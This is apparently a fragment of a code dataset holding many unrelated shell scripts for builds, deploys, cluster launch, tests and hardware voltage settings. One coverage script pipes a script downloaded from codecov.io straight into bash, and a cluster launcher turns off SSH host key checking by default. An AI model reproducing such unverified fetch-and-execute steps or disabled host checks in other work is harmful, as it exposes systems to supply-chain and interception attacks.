./readwriteHV.sh on Mon Jun 8 13:16:56 CEST 2015\ncaput HVPID:03:000:v0set 1850\ncaput HVPID:03:000:i0set 1500\ncaput HVPID:03:001:v0set 2000\ncaput HVPID:03:001:i0set 1800\ncaput HVPID:03:002:v0set 1700\ncaput HVPID:03:002:i0set 1700\ncaput HVPID:03:003:v0set 1200\ncaput HVPID:03:003:i0set 1300\ncaput HVPID:03:004:v0set 1304\ncaput HVPID:03:004:i0set 1500\ncaput HVPID:03:005:v0set 800\ncaput HVPID:03:005:i0set 500\ncaput HVPID:03:006:v0set 830\ncaput HVPID:03:006:i0set 500\ncaput HVPID:03:007:v0set 800\ncaput HVPID:03:007:i0set 500\ncaput HVPID:03:008:v0set 800\ncaput HVPID:03:008:i0set 500\ncaput HVPID:03:009:v0set 850\ncaput HVPID:03:009:i0set 500\ncaput HVPID:03:010:v0set 1140\ncaput HVPID:03:010:i0set 500\ncaput HVPID:03:011:v0set 950\ncaput HVPID:03:011:i0set 800\ncaput HVPID:04:000:v0set 2000\ncaput HVPID:04:000:i0set 1000\ncaput HVPID:04:001:v0set 1040\ncaput HVPID:04:001:i0set 500\ncaput HVPID:04:002:v0set 1050\ncaput HVPID:04:002:i0set 500\ncaput HVPID:04:003:v0set 1100\ncaput HVPID:04:003:i0set 500\ncaput HVPID:04:004:v0set 1170\ncaput HVPID:04:004:i0set 500\ncaput HVPID:04:005:v0set 1100\ncaput HVPID:04:005:i0set 500\ncaput HVPID:04:006:v0set 1150\ncaput HVPID:04:006:i0set 500\ncaput HVPID:04:007:v0set 1070\ncaput HVPID:04:007:i0set 500\ncaput HVPID:04:008:v0set 1000\ncaput HVPID:04:008:i0set 500\ncaput HVPID:04:009:v0set 1000\ncaput HVPID:04:009:i0set 500\ncaput HVPID:04:010:v0set 870\ncaput HVPID:04:010:i0set 500\ncaput HVPID:04:011:v0set 1200\ncaput HVPID:04:011:i0set 500\ncaput HVPID:04:012:v0set 1120\ncaput HVPID:04:012:i0set 500\ncaput HVPID:04:013:v0set 1100\ncaput HVPID:04:013:i0set 500\ncaput HVPID:04:014:v0set 1070\ncaput HVPID:04:014:i0set 500\ncaput HVPID:04:015:v0set 950\ncaput HVPID:04:015:i0set 500\ncaput HVPID:04:016:v0set 1140\ncaput HVPID:04:016:i0set 500\ncaput HVPID:04:017:v0set 890\ncaput HVPID:04:017:i0set 500\ncaput HVPID:04:018:v0set 1020\ncaput HVPID:04:018:i0set 500\ncaput HVPID:04:019:v0set 1040\ncaput HVPID:04:019:i0set 500\ncaput HVPID:04:020:v0set 1220\ncaput HVPID:04:020:i0set 500\ncaput HVPID:04:021:v0set 1070\ncaput HVPID:04:021:i0set 500\ncaput HVPID:04:022:v0set 1080\ncaput HVPID:04:022:i0set 500\ncaput HVPID:04:023:v0set 1230\ncaput HVPID:04:023:i0set 500"} {"text": "2359media/STXDynamicTableView100-1000\n#!/bin/sh\n\n# The script exits immediately if any statement or command returns non-true value\nset -e\n\nxcodebuild -workspace \"$PROJECT_NAME\" -scheme \"$SCHEME_NAME\" -configuration \"$CONFIGURATION_NAME\" -sdk iphonesimulator ONLY_ACTIVE_ARCH=NO | xcpretty -c && exit ${PIPESTATUS[0]}"} {"text": "#!/bin/bash\n\nscp package-lock.json idris-frontend:~/idris/\nscp package.json idris-frontend:~/idris/\nscp update.bash idris-frontend:~/idris/\nscp -r public idris-frontend:~/idris/\nscp -r src idris-frontend:~/idris/"} {"text": "Wenchy/bifrostcmd/bifrost/startstop.sh0\n#!/usr/bin/bash\n########################################################\n### @brief start/stop switch for daemon app\n### @depend\n### @author wenchyzhu()\n### @date 2021-03-04\n########################################################\nfunction Usage()\n{\n echo \"Usage: $0 [app]\"\n echo \" -conf: config file path. (default \"conf.yaml\")\"\n}\n\nAPP='bifrost'\nOPERATION='stop'\nCONFPATH=\"conf.yaml\"\nPIDFILE=\".pid\"\n# parse params\nif [ $# -eq 1 ]; then\n OPERATION=\"$1\"\nelif [ $# -ge 2 ]; then\n OPERATION=\"$1\"\n APP=\"$2\"\nelse\n Usage\n exit -1\nfi\n\nfunction Start()\n{\n cd $(dirname $0)\n echo \"starting...\"\n\n nohup ./${APP} -conf=${CONFPATH} > nohup.log 2>&1 &\n echo $! > ${PIDFILE}\n sleep 2 # sleep for 5 seconds, and then check if process has started successfully\n PID=`cat ${PIDFILE}`\n eval $(ps -ejf | awk -v PID=$PID -F\" \" '{if ($2 == PID) printf(\"PGID=%s\", $4)}')\n if [[ $PGID == \"\" ]]; then\n echo \"PID: $PID, PGID: not found\"\n echo \"Start Failed\"\n exit -1\n else\n echo \"PID: $PID, PGID: $PGID\"\n echo \"Start Success\"\n fi\n}\n\nfunction Stop()\n{\n cd $(dirname $0)\n # kill process id, only for tornado single-process mod\n # kill -TERM `cat ${PIDFILE}`\n\n # kill process group id, for both tornado multi-process and single-process mode\n PID=`cat ${PIDFILE}`\n eval $(ps -ejf | awk -v PID=$PID -F\" \" '{if ($2 == PID) printf(\"PGID=%s\", $4)}')\n if [[ $PGID == \"\" ]]; then\n echo \"PID: $PID, PGID: not found\"\n echo \"Stop Failed\"\n else\n echo \"PID: $PID, PGID: $PGID\"\n kill -TERM -- -$PGID\n # sleep 3 # sleep for 5 seconds\n echo \"Stop Success\"\n fi\n}\n\n# avoid inappropriate Language Configuration\nexport LC_ALL=\"en_US.UTF-8\"\n\ncase ${OPERATION} in\n start)\n Start\n ;;\n stop)\n Stop\n ;;\n restart)\n Stop\n Start\n ;;\n *)\n echo \"invalid args!\"\n Usage\n exit -1\nesac"} {"text": "cd ../run\necho \">>> Calling ../jenkins/optionBuild_dependencies_Xvivado_bash.sh\"\n. ../jenkins/optionBuild_dependencies_Xvivado_bash.sh\ncd ../run\n\ncp -f ../jenkins/config_options/optionDefaults/* ../scripts_config/\ncp -f ../jenkins/config_options/optionXilinx.0010/* ../scripts_config/\necho \">>> optionXilinx.0100 config scripts are copied over\"\n\ncd ../run\nrm -rf ../regression_results\necho \">>> Cleaned the regression folder manually\"\necho \">>> Starting regression\"\nvivado -nolog -nojournal -notrace -mode batch -source ../scripts_config/run_regression.tcl\necho \">>> Jenkins regression completed <<<\""} {"text": "alchemy-fr/phraseanet-services1-10\n#!/bin/sh\n\nSYMFONY_PROJECTS=\"\nauth/api\ndatabox/api\nexpose/api\nuploader/api\nnotify/api\n\"\n\nNPM_PROJECTS=\"\nexpose/front\nuploader/client\n\"\n\nPHP_LIBS=\"\nlib/acl-bundle\nlib/admin-bundle\nlib/api-test\nlib/core-bundle\nlib/notify-bundle\nlib/remote-auth-bundle\nlib/oauth-server-bundle\nlib/report-bundle\nlib/report-sdk\n\""} {"text": "ministryofjustice/hmpps-registers-to-delius-updatesend-court-updated-message.bash\n#!/usr/bin/env bash\naws --endpoint-url=http://localhost:4566 sns publish \\\n --topic-arn arn:aws:sns:eu-west-2:000000000000:hmpps-domain-events \\\n --message '{\"eventType\":\"COURT_REGISTER_UPDATE\",\"id\":\"SHFCC\"}' \\\n --message-attributes '{\"eventType\" : { \"DataType\":\"String\", \"StringValue\":\"COURT_REGISTER_UPDATE\"}}'"} {"text": "daliclass/RxPY\n#!/usr/bin/env bash\n\n# This script runs a subset of unit tests (minus concurrency, which does too\n# many hard sleeps to be a useful benchmark) a couple of times, averaging the\n# durations as parsed from pytest output.\n#\n# It does this for a designated reference branch to compare with, and then again\n# for the situation we were in when invoked.\n#\n# If we're running locally, the reference is taken from an commandline arg, or\n# or if none is given we just bench-mark the present situation.\n#\n# When running on Travis CI, the reference will be the targeted branch in the\n# case of pull request builds, or default to \"master\" for push builds.\n#\n# Note that the script might switch the local git branch. To protect any unsaved\n# work when running locally, it does a git stash first, which is popped back\n# later.\n#\n# So if you kill the script before it's done, you may end up in the wrong branch\n# and/or you may find your work is stashed!\n\ntestargs=\"--cache-clear --ignore=tests/test_concurrency\"\ndefref=\"master\"\nrounds=5\n\nstat=$(git status | head -n 1)\nhash=$(git log -1 --format=%H)\nhead=$(echo \"$stat\" | grep -o \"[^ ]*$\")\nref=$1\npop=0\n\nif [[ \"$TRAVIS\" ]]\nthen\n # Running on Travis; add explicit remote to upstream repository\n git remote add upstream https://github.com/\"$TRAVIS_REPO_SLUG\".git\n\n # Compare versus the PR target branch, if any, or the default ref otherwise\n if [[ \"$TRAVIS_PULL_REQUEST\" != \"false\" ]]\n then\n head=\"$hash\"\n ref=\"$TRAVIS_BRANCH\"\n else\n head=\"$TRAVIS_BRANCH\"\n ref=\"$defref\"\n fi\n\nelse\n\n # Running locally: save unsaved work, if any\n if [[ $# != 0 ]]\n then\n git stash | grep \"^No\"\n pop=$?\n if [[ $pop != 0 ]]\n then\n echo \"Note: stashed local unsaved changes, do NOT kill this script!\"\n fi\n fi\n\n # If our head is detached, use the hash so we can jump back correctly\n if [[ $(echo \"$stat\" | grep -o \" detached \") ]]\n then\n head=\"$hash\"\n fi\n\nfi\n\n\n# If $ref is equal to $head, ignore it\nif [[ \"$ref\" == \"$head\" ]]\nthen\n ref=\"\"\nfi\n\n\n# All right, go!\nfor branch in \"$ref\" \"$head\"\ndo\n if [[ $branch == \"\" ]]\n then\n continue\n fi\n\n # Checkout the branch / commit\n echo \"\"\n echo \"Checking out $branch\"\n if [[ \"$TRAVIS\" && \"$branch\" != \"$head\" ]]\n then\n git fetch upstream $branch\n git checkout upstream/\"$branch\"\n else\n git checkout \"$branch\"\n if [[ $pop != 0 && \"$branch\" == \"$head\" ]]\n then\n git stash pop\n echo \"Note: restored local unsaved changes.\"\n fi\n fi\n\n echo \"\"\n git status | head -n 1\n\n # Do one warm-up round, which doesn't count toward the average\n echo -n \" - Round 0 (warm-up)\"\n sec=$(pytest $testargs | grep -o \"passed in .* s\")\n ret=$?\n echo -n \" | $sec\"\n if [[ $ret == 0 ]];\n then\n echo \" | OK\"\n else\n echo \" | FAIL\"\n exit $ret\n fi\n\n # Main loop, run \"pytest $testargs\" $rounds times\n sum=0\n for round in $(seq $rounds)\n do\n echo -n \" - Round $round of $rounds\"\n sec=$(pytest $testargs | grep -o \"passed in .* s\")\n ret=$?\n echo -n \" | $sec\"\n\n sec=$(echo $sec | sed -e \"s/[^0-9]//g\")\n sum=$(($sum + $sec))\n avg=$((((($sum * 10) / $round) + 5) / 10))\n\n echo -n \" | total $(echo $sum | sed -e \"s/\\([0-9]\\{2\\}\\)$/.\\1/\") s\"\n echo -n \" | average $(echo $avg | sed -e \"s/\\([0-9]\\{2\\}\\)$/.\\1/\") s\"\n\n if [[ $ret == 0 ]]\n then\n echo \" | OK\"\n else\n echo \" | FAIL\"\n exit $ret\n fi\n done\ndone"} {"text": "pymc-labs/plaster\n#!/usr/bin/env bash\n\n# realpath not defined on OSX\nrealpath() {\n [[ $1 = /* ]] && echo \"$1\" || echo \"$PWD/${1#./}\"\n}\n\nFOLDER=$(dirname \"$0\")\nPLASTER_ROOT=$(realpath $(dirname $FOLDER))\n\n$FOLDER/build_manylinux.sh\n\nDOCKER_IMAGE='plaster_manylinux'\nPLAT='manylinux2014_x86_64'\n\n\ndocker run --rm \\\n -e PLAT=$PLAT \\\n -v $PLASTER_ROOT:/io \\\n \"$DOCKER_IMAGE\" /io/scripts/build_wheels_inside_manylinux.sh"} {"text": "lephong/iornn-depparse10-100\nDATA_PATH=../../data/wsj-dep/universal/data\nOUTPUT_PATH=experiment\n\njava -classpath \".:lib/trove.jar\" -Xmx32g -Djava.io.tmpdir=./ \\\n\tmstparser.DependencyParser \\\n\ttrain train-file:$DATA_PATH/train.conll training-k:5 order:2 loss-type:nopunc iters:10 \\\n\tmodel-name:$OUTPUT_PATH/wsj-univ-2ndorder.model \\\n\ttest test-file:$DATA_PATH/dev.conll testing-k:1 output-file:$OUTPUT_PATH/dev-mst2ndorder.conll \\\n\teval gold-file:$DATA_PATH/dev.conll"} {"text": "#!/bin/bash\n\n# ----------------- BEGIN LICENSE BLOCK ---------------------------------\n#\n# Copyright (c) 2019-2020 Intel Corporation\n#\n# ----------------- END LICENSE BLOCK -----------------------------------\n##\n\n\nget_coverage() {\n BUILD_DIR=$1\n SRC_DIR=$2\n PACKAGE_NAME=$3\n lcov -q -i -c -d ${BUILD_DIR} -b ${SRC_DIR} --no-external -o initialCoverage.info\n lcov -q -c -d ${BUILD_DIR} -b ${SRC_DIR} --no-external -o testCoverage.info --rc lcov_branch_coverage=1\n lcov -q -a initialCoverage.info -a testCoverage.info -o coverage.info --rc lcov_branch_coverage=1\n lcov -q -r coverage.info \"impl/test*\" -o coverage.info --rc lcov_branch_coverage=1\n grep -v -E 'D0Ev|D1Ev|C1Ev|C1Eb' coverage.info > cleanedCoverage.info\n lcov --summary cleanedCoverage.info --rc lcov_branch_coverage=1\n genhtml -t ${PACKAGE_NAME} -p ${PWD}/${SRC_DIR} --branch-coverage -o coverage/${SRC_DIR} cleanedCoverage.info\n bash <(curl -s https://codecov.io/bash) -f cleanedCoverage.info || echo \"Codecov did not collect coverage reports\"\n}\n\nget_coverage build/ad_physics ad_physics ad_physics\nget_coverage build/ad_map_access ad_map_access ad_map_access"} {"text": "#!/bin/bash\n. ~lanforge/lanforge.profile\n\n# We can set channel and number of antennas when creating one station or many stations\n# Example 1\n./lf_associate_ap.pl --mgr idtest \\\n --resource 7 \\\n --action add \\\n --radio wiphy0 \\\n --antenna ALL \\\n --channel 153 \\\n --first_ip DHCP \\\n --num_sta 5 \\\n --ssid hedtest-wpa2-153 \\\n --security wpa2 \\\n --passphrase \n\n\n# Example 2\n# we can also start traffic with this example\n# create layer 3 connections between those stations and upstream bridge port\n# action step1 make the layer 3 connections and runs them for duration\n./lf_associate_ap.pl --mgr idtest \\\n --resource 7 \\\n --radio wiphy0 \\\n --antenna ALL \\\n --channel 153 \\\n --first_ip DHCP \\\n --num_sta 5 \\\n --ssid hedtest-wpa2-153 \\\n --security wpa2 \\\n --passphrase \\\n --duration 5min \\\n --upstream br0 \\\n --bps_min 1000000 \\\n --cxtype tcp \\\n --poll_time 5 \\\n --action step1\n\n# Example 3\n# if we wanted to create the connections independently, we can do it like this:\npkt_size=720\nfor n in `seq 100 105`; do\n station=\"sta$n\"\n endpa=\"tcp$n-A\"\n endpb=\"tcp$n-B\"\n cxname=\"tcp$n\"\n\n ./lf_firemod.pl --mgr idtest --resource 7 --action create_endp --endp_type lf_tcp \\\n --endp_name \"$endpa\" --port_name \"br0\" --speed 1000000 --min_pkt_sz $pkt_size\n\n ./lf_firemod.pl --mgr idtest --resource 7 --action create_endp --endp_type lf_tcp \\\n --endp_name \"$endpb\" --port_name \"sta$n\" --speed 1000000 --min_pkt_sz $pkt_size\n\n ./lf_firemod.pl --mgr idtest --resource 7 --action create_cx --cx_name $cxname --cx_endps $endpa,$endpb\ndone\n\nfor n in `seq 100 105`; do\n cxname=\"tcp$n\"\n ./lf_firemod.pl --mgr idtest --resource 7 --action do_cmd --cli_cmd \"set_cx_state all $cxname RUNNING\"\ndone\n\n# poll every two seconds\nfor i in `seq 1 $((5 * 30))` ; do\n for n in `seq 100 105`; do\n ./lf_firemod.pl --mgr idtest --resource 7 --action show_endp --endp_name \"tcp$n-A\" --endp_vals rx_bps\n ./lf_firemod.pl --mgr idtest --resource 7 --action show_endp --endp_name \"tcp$n-B\" --endp_vals rx_bps\n done\n sleep 2\ndone\n\nfor n in `seq 100 105`; do\n cxname=\"tcp$1\"\n ./lf_firemod.pl --mgr idtest --resource 7 --action do_cmd --cli_cmd \"set_cx_state all $cxname QUIESCE\"\ndone\n\n# print out all connections:\nfor n in `seq 100 105`; do\n ./lf_firemod.pl --mgr idtest --resource 7 --action show_cx --endp_name \"tcp$n\" --endp_vals rx_bps\ndone"} {"text": "#!/usr/bin/env bats\n\nload ./common\n\nfunction setup() {\n enroot remove -f pyxis-name-test >/dev/null 2>&1 || true\n enroot remove -f pyxis-name-test2 >/dev/null 2>&1 || true\n}\n\nfunction teardown() {\n enroot remove -f pyxis-name-test >/dev/null 2>&1 || true\n enroot remove -f pyxis-name-test2 >/dev/null 2>&1 || true\n}\n\n@test \"unnamed container cleanup\" {\n run_srun --container-image=ubuntu:18.04 sh -c 'echo $SLURM_JOB_ID.$SLURM_STEP_ID'\n container_name=\"${lines[-1]}\"\n\n # Container removal is done async after the job is finished, poll for a while\n i=0\n while [ \"$(enroot list | grep -c ${container_name})\" -ne 0 ]; do\n\t((i++ == 100)) && exit 1\n\tsleep 0.1s\n done\n}\n\n@test \"named container persistence\" {\n run_srun --container-image=ubuntu:18.04 bash -c '! which file'\n run_srun --container-image=ubuntu:18.04 --container-name=pyxis-name-test bash -c 'apt-get update && apt-get install -y --no-install-recommends file'\n run_srun --container-image=ubuntu:18.04 --container-name=pyxis-name-test which file\n run_srun --container-name=pyxis-name-test which file\n\n run_srun --container-image=ubuntu:18.04 bash -c '! which file'\n run_srun --container-image=ubuntu:18.04 --container-name=pyxis-name-test2 true\n run_srun --container-image=ubuntu:18.04 bash -c '! which file'\n}\n\n@test \"named container manual remove\" {\n run_srun --container-image=ubuntu:18.04 --container-name=pyxis-name-test bash -c 'apt-get update && apt-get install -y --no-install-recommends file'\n run_srun --container-name=pyxis-name-test which file\n run_enroot remove -f pyxis-name-test\n\n run_srun_unchecked --container-name=pyxis-name-test which file\n [ \"${status}\" -ne 0 ]\n run_srun --container-image=ubuntu:18.04 --container-name=pyxis-name-test bash -c '! which file'\n run_srun --container-name=pyxis-name-test bash -c '! which file'\n}"} {"text": "10-100\n#!/usr/bin/env bash\n\n#/*******************************************************************************\n# Copyright (c) 2019 IBM Corp.\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#/*******************************************************************************\n\ncd ~\nsource $(echo $0 | sed -e \"s/\\(.*\\/\\)*.*/\\1.\\//g\")/cb_common.sh\n\nservice_restart_enable munge \n\nmunge -n >/dev/null 2>&1 \nif [[ $? -ne 0 ]]\nthen \n syslog_netcat \"Munge configuration successfully checked on ${SHORT_HOSTNAME}\"\nelse\n syslog_netcat \"Munge configuration checking failure on ${SHORT_HOSTNAME}\"\nfi\n\nif [[ ${my_role} == \"slurmcontroller\" ]]\nthen\n service_restart_enable slurmdbd\n\n service_restart_enable slurmctld\n\n# sudo sacctmgr add cluster $my_ai_name -i\n# sudo sacctmgr add account compute-account description=\"Compute accounts\" Organization=OurOrg -i\n# sudo sacctmgr create user $(whoami) account=compute-account adminlevel=None -i\nelse\n wait_until_port_open $(get_ips_from_role slurmcontroller) 6817 20 5\n service_restart_enable slurmd\nfi\n\nprovision_application_stop\n\nexit 0"} {"text": "0\n#!/usr/bin/env bash\n\ncase \"${command}\" in\n\tlocalstack:aws) ## [options] [ ...] [parameters] %% AWS CLI (with endpoint-url set based on command)\n\t\tprintInfo \"AWS Region: ${AWS_REGION}\"\n\n\t\tIFS=', ' read -r -a argsarray <<< \"$args\"\n\n\t\tif [ ! ${argsarray:-} ]; then\n\t\t\taws_cli help\n\t\t\texit 1\n\t\tfi\n\n\t\tHAS_OPTIONS=$(echo ${argsarray:0} | grep -e '^--') || true\n\n\t\tif [ ${HAS_OPTIONS} ]; then\n\t\t\tCOMMAND=${argsarray:1}\n\t\telse\n\t\t\tCOMMAND=${argsarray:0}\n\t\tfi\n\n\t\tENDPOINT_URL=\"http://localstack.${GENV_INT_DOMAIN}:\"\n\n\t\tcase \"${COMMAND}\" in\n\t\t\tapigateway)\n\t\t\t\tENDPOINT_URL+=4567 ;;\n\n\t\t\tkinesis)\n\t\t\t\tENDPOINT_URL+=4568 ;;\n\n\t\t\tdynamodb)\n\t\t\t\tENDPOINT_URL+=4569 ;;\n\n\t\t\tdynamodbstreams)\n\t\t\t\tENDPOINT_URL+=4570 ;;\n\n\t\t\tes)\n\t\t\t\tENDPOINT_URL+=4571 ;;\n\n\t\t\ts3)\n\t\t\t\tENDPOINT_URL+=4572 ;;\n\n\t\t\tfirehose)\n\t\t\t\tENDPOINT_URL+=4573 ;;\n\n\t\t\tlambda)\n\t\t\t\tENDPOINT_URL+=4574 ;;\n\n\t\t\tsns)\n\t\t\t\tENDPOINT_URL+=4575 ;;\n\n\t\t\tsqs)\n\t\t\t\tENDPOINT_URL+=4576 ;;\n\n\t\t\tredshift)\n\t\t\t\tENDPOINT_URL+=4577 ;;\n\n\t\t\tses)\n\t\t\t\tENDPOINT_URL+=4579 ;;\n\n\t\t\troute53)\n\t\t\t\tENDPOINT_URL+=4580 ;;\n\n\t\t\tcloudformation)\n\t\t\t\tENDPOINT_URL+=4581 ;;\n\n\t\t\tcloudwatch)\n\t\t\t\tENDPOINT_URL+=4582 ;;\n\n\t\t\t*)\n\t\tesac\n\n\t\tprintInfo \"Endpoint URL: ${ENDPOINT_URL}\\n\"\n\n\t\taws_cli --endpoint-url ${ENDPOINT_URL} --region ${AWS_REGION} ${args}\n\t\t;;\n\n\t*)\n\t\tserviceHelp localstack\nesac"} {"text": "dockerize.sh\n#!/bin/bash\n\n# Build .NET Server\npushd .\ncd ./Source/Kernel/Server\ndotnet publish -c Release -r linux-x64 -p:PublishReadyToRun=true --self-contained -o out/x64\ndotnet publish -c Release -r linux-arm64 -p:PublishReadyToRun=true --self-contained -o out/arm64\npopd\n\n# Build Workbench\npushd .\ncd ./Source/Workbench\nyarn config set network-timeout 300000\nyarn build\npopd\n\n# Build images\ndocker build -t aksioinsurtech/cratis -f ./Docker/Production/Dockerfile .\ndocker build -t aksioinsurtech/cratis:development -f ./Docker/Development/Dockerfile .\n\n# For building multiple CPU architectures (PS: this automatically pushes to Docker Hub):\n# docker buildx build -t aksioinsurtech/cratis:development -f ./Docker/Development/Dockerfile --platform linux/amd64,linux/arm64 --push ."} {"text": "#!/bin/bash\n\nexport Branch=$(git branch|grep '*'|awk '{print $2}')\n\nfunction branch(){\n echo \"$Branch\"\n}\nfunction reset(){\n git fetch --all && git reset --hard origin/${Branch}\n}\nfunction git_init(){\n git config --global user.email $2 ## 改为你的邮箱\n git config --global user.name $1 ## 改为你的账号\n git config --global remote.origin.push 'refs/heads/*:refs/for/*'\n}"} {"text": "#!/bin/bash\ncd bin\n\ninstall_name_tool -add_rpath @executable_path/../Frameworks/vlc AcfunQml.app/Contents/MacOS/AcfunQml"} {"text": "docker_config/archelon-sftp/init-archelon-sftp.sh1-10\n #!/bin/bash\n\n# plastron needs to own the children of /data,\n# so it can SFTP things in and out of here\nmkdir -p /data/imports\nmkdir -p /data/exports\nchown plastron:plastron /data/*\n\ncat >>/etc/ssh/sshd_config <] command...\"\n\n# if no args specified, show usage\nif [ $# -le 0 ]; then\n echo $usage\n exit 1\nfi\n\nsbin=\"`dirname \"$0\"`\"\nsbin=\"`cd \"$sbin\"; pwd`\"\n\n. \"$sbin/spark-config.sh\"\n. \"$sbin/snappy-config.sh\"\n\n\ncomponentType=$1\nshift\n\n# Check if --config is passed as an argument. It is an optional parameter.\n# Exit if the argument is not a directory.\nif [ \"$1\" == \"--config\" ]\nthen\n shift\n conf_dir=\"$1\"\n if [ ! -d \"$conf_dir\" ]\n then\n echo \"ERROR : $conf_dir is not a directory\"\n echo $usage\n exit 1\n else\n export SPARK_CONF_DIR=\"$conf_dir\"\n fi\n shift\nfi\n\n. \"$SPARK_HOME/bin/load-spark-env.sh\"\n. \"$SPARK_HOME/bin/load-snappy-env.sh\"\n\n\ncase $componentType in\n\n (locator)\n if [ -f \"${SPARK_CONF_DIR}/locators\" ]; then\n HOSTLIST=\"${SPARK_CONF_DIR}/locators\"\n fi\n ;;\n\n (server)\n if [ -f \"${SPARK_CONF_DIR}/servers\" ]; then\n HOSTLIST=\"${SPARK_CONF_DIR}/servers\"\n fi\n ;;\n (lead)\n if [ -f \"${SPARK_CONF_DIR}/leads\" ]; then\n HOSTLIST=\"${SPARK_CONF_DIR}/leads\"\n fi\n ;;\n (*)\n echo $usage\n exit 1\n ;;\nesac\n# By default disable strict host key checking\nif [ \"$SPARK_SSH_OPTS\" = \"\" ]; then\n SPARK_SSH_OPTS=\"-o StrictHostKeyChecking=no\"\nfi\n\nMEMBERS_FILE=\"$SPARK_HOME/work/members.txt\"\n\nfunction execute() {\n dirparam=\"$(echo $args | sed -n 's/^.*\\(-dir=[^ ]*\\).*$/\\1/p')\"\n\n # Set directory folder if not already set.\n if [ -z \"${dirparam}\" ]; then\n dirfolder=\"$SPARK_HOME\"/work/\"$host\"-$componentType-$index\n dirparam=\"-dir=${dirfolder}\"\n args=\"${args} ${dirparam}\"\n fi\n\n # For stop and status mode, don't pass any parameters other than directory\n if echo $\"${@// /\\\\ }\" | grep -wq \"start\"; then\n # Set a default locator if not already set.\n if [ -z \"$(echo $args $\"${@// /\\\\ }\" | grep '[-]locators=')\" ]; then\n if [ \"${componentType}\" != \"locator\" ]; then\n args=\"${args} -locators=\\\"\"$(hostname)\"[10334]\\\"\"\n fi\n # Set low discovery and join timeouts for quick startup when locator is local.\n if [ -z \"$(echo $args $\"${@// /\\\\ }\" | grep 'Dp2p.discoveryTimeout=')\" ]; then\n args=\"${args} -J-Dp2p.discoveryTimeout=1000\"\n fi\n if [ -z \"$(echo $args $\"${@// /\\\\ }\" | grep 'Dp2p.joinTimeout=')\" ]; then\n args=\"${args} -J-Dp2p.joinTimeout=2000\"\n fi\n fi\n # Set MaxPermSize if not already set.\n if [ -z \"$(echo $args $\"${@// /\\\\ }\" | grep 'XX:MaxPermSize=')\" -a \"${componentType}\" != \"locator\" ]; then\n args=\"${args} -J-XX:MaxPermSize=350m\"\n fi\n if [ -z \"$(echo $args $\"${@// /\\\\ }\" | grep 'client-bind-address=')\" -a \"${componentType}\" != \"lead\" ]; then\n args=\"${args} -client-bind-address=${host}\"\n fi\n if [ -z \"$(echo $args $\"${@// /\\\\ }\" | grep 'peer-discovery-address=')\" -a \"${componentType}\" == \"locator\" ]; then\n args=\"${args} -peer-discovery-address=${host}\"\n fi\n else\n args=\"${dirparam}\"\n fi\n\n if [ \"$host\" != \"localhost\" ]; then\n if [ \"$dirfolder\" != \"\" ]; then\n # Create the directory for the snappy component if the folder is a default folder\n ssh $SPARK_SSH_OPTS \"$host\" \\\n \"if [ ! -d \\\"$dirfolder\\\" ]; then mkdir -p \\\"$dirfolder\\\"; fi;\" $\"${@// /\\\\ } ${args};\" < /dev/null \\\n 2>&1 | sed \"s/^/$host: /\"\n else\n # ssh reads from standard input and eats all the remaining lines.Connect its standard input to nowhere:\n ssh $SPARK_SSH_OPTS \"$host\" $\"${@// /\\\\ } ${args}\" < /dev/null \\\n 2>&1 | sed \"s/^/$host: /\"\n fi\n else\n if [ \"$dirfolder\" != \"\" ]; then\n # Create the directory for the snappy component if the folder is a default folder\n if [ ! -d \"$dirfolder\" ]; then\n mkdir -p \"$dirfolder\"\n fi\n fi\n launchcommand=\"${@// /\\\\ } ${args} < /dev/null 2>&1\"\n eval $launchcommand\n fi\n\n df=${dirfolder}\n if [ -z \"${df}\" ]; then\n df=$(echo ${dirparam} | cut -d'=' -f2)\n fi\n\n if [ ! -d \"${SPARK_HOME}/work\" ]; then\n mkdir -p \"${SPARK_HOME}/work\"\n ret=$?\n if [ \"$ret\" != \"0\" ]; then\n echo \"Could not create work directory ${SPARK_HOME}/work\"\n exit 1\n fi\n fi\n\n if [ -z \"${df}\" ]; then\n echo \"No run directory identified for ${host}\"\n exit 1\n fi\n\n echo \"${host} ${df}\" >> $MEMBERS_FILE\n}\n\nindex=1\ndeclare -a arr\nif [ -n \"${HOSTLIST}\" ]; then\n while read slave || [[ -n \"${slave}\" ]]; do\n [[ -z \"$(echo $slave | grep ^[^#])\" ]] && continue\n arr+=(\"${slave}\");\n host=\"$(echo \"$slave \"| tr -s ' ' | cut -d ' ' -f1)\"\n args=\"$(echo \"$slave \"| tr -s ' ' | cut -d ' ' -f2-)\"\n if echo $\"${@// /\\\\ }\" | grep -wq \"start\\|status\"; then\n execute \"$@\"\n fi\n ((index++))\n done < $HOSTLIST\n if echo $\"${@// /\\\\ }\" | grep -wq \"stop\"; then\n line=${#arr[@]}\n if [ $((index-1)) -eq $line ]; then\n for (( i=${#arr[@]}-1 ; i>=0 ; i-- )) ; do\n ((index--))\n CONF_ARG=${arr[$i]}\n host=\"$(echo \"$CONF_ARG \"| tr -s ' ' | cut -d ' ' -f1)\"\n args=\"$(echo \"$CONF_ARG \"| tr -s ' ' | cut -d ' ' -f2-)\"\n execute \"$@\"\n done\n fi\n fi\nelse\n host=\"localhost\"\n args=\"\"\n execute \"$@\"\nfi\nwait"} {"text": "kabir/jboss-eap-7-image1-10\n#!/bin/sh\n\nset -e\n\nfunction remove_scrapped_jars {\n local patched=$(find $JBOSS_HOME -name \\*.jar.patched -printf \"%h\\n\")\n if [ -n \"$patched\" ]; then\n echo \"$patched\" | sort | uniq | xargs rm -rv\n fi\n}\n\nfunction update_permissions {\n chown -R jboss:root $JBOSS_HOME\n chmod 0755 $JBOSS_HOME\n chmod -R g+rwX $JBOSS_HOME\n}\n\nfunction aggregate_patched_modules {\n export JBOSS_PIDFILE=/tmp/jboss.pid\n cp -r $JBOSS_HOME/standalone /tmp/\n\n local sys_pkgs=\"$JBOSS_MODULES_SYSTEM_PKGS\"\n if [ -n \"$sys_pkgs\" ]; then\n export JBOSS_MODULES_SYSTEM_PKGS=\"\"\n fi\n\n $JBOSS_HOME/bin/standalone.sh --admin-only -Djboss.server.base.dir=/tmp/standalone &\n\n start=$(date +%s)\n end=$((start + 120))\n until $JBOSS_HOME/bin/jboss-cli.sh --command=\"connect\" || [ $(date +%s) -ge 